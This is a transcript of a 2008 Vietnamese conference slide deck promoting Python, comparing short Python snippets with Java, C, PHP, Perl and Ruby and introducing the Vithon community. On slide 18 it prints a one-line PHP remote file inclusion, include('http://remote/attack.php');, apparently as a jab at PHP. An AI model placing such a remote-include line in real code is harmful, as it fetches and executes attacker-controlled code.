python for the rest of life

24
http:// www.bluemoon.com.vn Python, ngôn ngữ lập trình cho phần đời còn lại Nguyễn Thành Nam http:// www.vithon.org TPHCM, 2008-11-15

Upload: chip-huyen

Post on 14-May-2015

5.778 views

Category:

Technology


3 download

DESCRIPTION

Presentation from Nam Nguyen Bluemoon at BarCampSaigon 1, comparing Python with other programming languages.

TRANSCRIPT

Page 1: Python for the rest of life

http://www.bluemoon.com.vn

Python, ngôn ngữ lập trình cho phần đời còn

lại

Nguyễn Thành Nam

http://www.vithon.org

TPHCM, 2008-11-15

Page 2: Python for the rest of life

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]

Nội dung• Kinh nghiệm bản thân• Giới thiệu Python• Nguyên lý căn bản của Python• So sánh với ngôn ngữ khác• Giới thiệu Vithon• Hỏi và cùng trả lời

Page 3: Python for the rest of life

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]

Kinh nghiệm bản thân• Biết đến Python từ 2003• Học trong 5 tiếng• Sử dụng hàng ngày cho đến tận bây giờ• Sáu từ để diễn đạt: Học 5 tiếng, dùng

suốt đời!• Gặp nhiều khó khăn trong việc soạn slide• Gần quên Java và C/C++• Đã quên sạch Perl, PHP và Ruby

Page 4: Python for the rest of life

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]

Giới thiệu Python• Ra đời năm 1991• Tác giả Guido Van Rossum, Hà Lan• Là ngôn ngữ lập trình

• Tổng quát• Kịch bản (scripting)• Kiểu vịt (duck typing)• Kiểu động (dynamic typing)• Nhưng có kiểu (strongly typed)

• Kèm sẵn pin (Battery included)

Page 5: Python for the rest of life

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]

Nguyên lý căn bản của Python• Ưu tiên cho việc đọc lại code

• Khoảng trắng bắt buộc• Hạn chế sử dụng ký tự đặc biệt• Chương trình phải được viết ra để cho

người đọc, và chỉ là sự trùng hợp để máy tính thực thi (Abelson & Sussman, MIT)

• Sự đơn giản được xem trọng• Đã có while, nên bỏ do-while• Đã có elif, nên bỏ switch-case

Page 6: Python for the rest of life

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]

Nguyên lý căn bản của Python• Ngôn ngữ khác có hộp, Python có thẻ

Ngôn ngữ khác (biến)

Python (tên)

a = 1

a = 2

b = a

Page 7: Python for the rest of life

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]

Nguyên lý căn bản của Python• Kiểu cơ bản: int, long, float, dãy

(sequence), từ điển (dictionary)• A = 123 # int• B = 123456789123456789 # long• C = 123.456 # float• D = (1, 2, 3) # tuple• E = [1, 2, 3] # list• F = “12345” # string• G = { 1 : ‘abc’, 2 : “def” } # dictionary

Page 8: Python for the rest of life

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]

Nguyên lý căn bản của Python• Cấu trúc lặp và điều khiển

• if/elif/else• while• for

• Xử lý biệt lệ• try/except• try/finally• try/except/else• try/except/finally (Python 2.5+)

Page 9: Python for the rest of life

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]

Nguyên lý căn bản của Python• Khai báo hàm bằng def• Khai báo lớp bằng class• Đa kế thừa (multiple inheritance)• Tất cả mọi đối tượng (gói, mô-đun, lớp,

hàm, biến, v.v…) đều chỉ là “tên” trong không gian tên (namespace) tương ứng

• Và chỉ đơn giản như thế thôi!

Page 10: Python for the rest of life

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]

Perl

~!@#$%^&*()

Ruby

~!@#$%^&*()

Python

~%^&*()

So sánh với ngôn ngữ khácTính dễ đọc

Page 11: Python for the rest of life

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]

C

int a, b, t;

t = a;

a = b;

b = t;

Python

a, b = b, a

a, b, c=b, c, a

So sánh với ngôn ngữ khácHoán vị 2 số

Page 12: Python for the rest of life

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]

JavaBigInteger a, b, c;

a = new BigInteger(“12345678901234567890”);

b = new BigInteger(“12345678901234567890”);

c = a.multiply(b);

Pythona = 12345678901234567890

b = 12345678901234567890

c = a * b

So sánh với ngôn ngữ khácTính toán số lớn

Page 13: Python for the rest of life

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]

JavaSystem.out.print(a[0]);

for (int i = 1; i < a.length; i++) {

System.out.print(“ “ + a[i]);

}

Pythonprint “ “.join(a)

So sánh với ngôn ngữ khácIn các phần tử trong mảng n > 1

Page 14: Python for the rest of life

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]

JavaSystem.out.print(a[0]);

for (int i = 1; i < a.length - 1; i++) {System.out.print(“ “ + a[i]);

}System.out.print(“ va “ + a[a.length – 1]);

Pythonprint “ “.join(a[:-1]), “va”, a[-1]

So sánh với ngôn ngữ khácIn các phần tử trong mảng n > 1

Page 15: Python for the rest of life

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]

Java// too many lines

// to show

// here

Pythonf = open(filename, “rb”)

d = f.read()

f.close()

So sánh với ngôn ngữ khácĐọc file

Page 16: Python for the rest of life

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]

Perlopen(DATA, “filename”);

while ($line = <DATA>){

print $line;

}

close(DATA);

Pythonf = open(filename, “r”)

for line in f:

print line

f.close()

So sánh với ngôn ngữ khácĐọc từng dòng

Page 17: Python for the rest of life

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]

Javafor (int i=0; i < a.length; i++) {

if (a[i] % 2 == 0)

b.add(a[i]);

}

Pythonb = [x for x in a if (x % 2) == 0]

So sánh với ngôn ngữ khácLọc phần tử trong mảng

Page 18: Python for the rest of life

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]

PHP$file = fopen(“http://www.google.com”);

Pythonimport urllib2

r = urllib2.urlopen(“http://www.google.com”)

So sánh với ngôn ngữ khácLấy file từ URL

include(“http://remote/attack.php”);

Page 19: Python for the rest of life

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]

PHPstrrev(“abc”);

Ruby“abc”.reverse

Python“abc”[::-1] # cba

So sánh với ngôn ngữ khácĐảo chuỗi

Page 20: Python for the rest of life

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]

PHPgzdeflate(base64_decode(base64_encode(gzcompress(“abc”))))

Python“abc”.encode(“zlib”).encode(“base64”).decode(“base64”).decode(“zlib”)

So sánh với ngôn ngữ khácChuyển mã

Page 21: Python for the rest of life

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]

PHPN/A

PythonVí dụ chương trình cờ tướng

sử dụng AJAX với tính năng trò chuyện viết trong 48 tiếng đồng hồ.

So sánh với ngôn ngữ khácỨng dụng web

Page 22: Python for the rest of life

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]

Giới thiệu Vithon• Vietnamese Python• Python cho người Việt• Do người yêu thích Python• Cho người yêu thích Python• Tài liệu, diễn đàn, dự án, bài viết, bài dịch• Hãy cùng tham gia• http://www.vithon.org• Python là số một nha!

Page 23: Python for the rest of life

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]

Cảm ơn

Life is short, use Python!

Python cho phần đời còn lại!

Nguyễn Thành Nam

[email protected]

Page 24: Python for the rest of life

Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]

Hỏi và cùng trả lời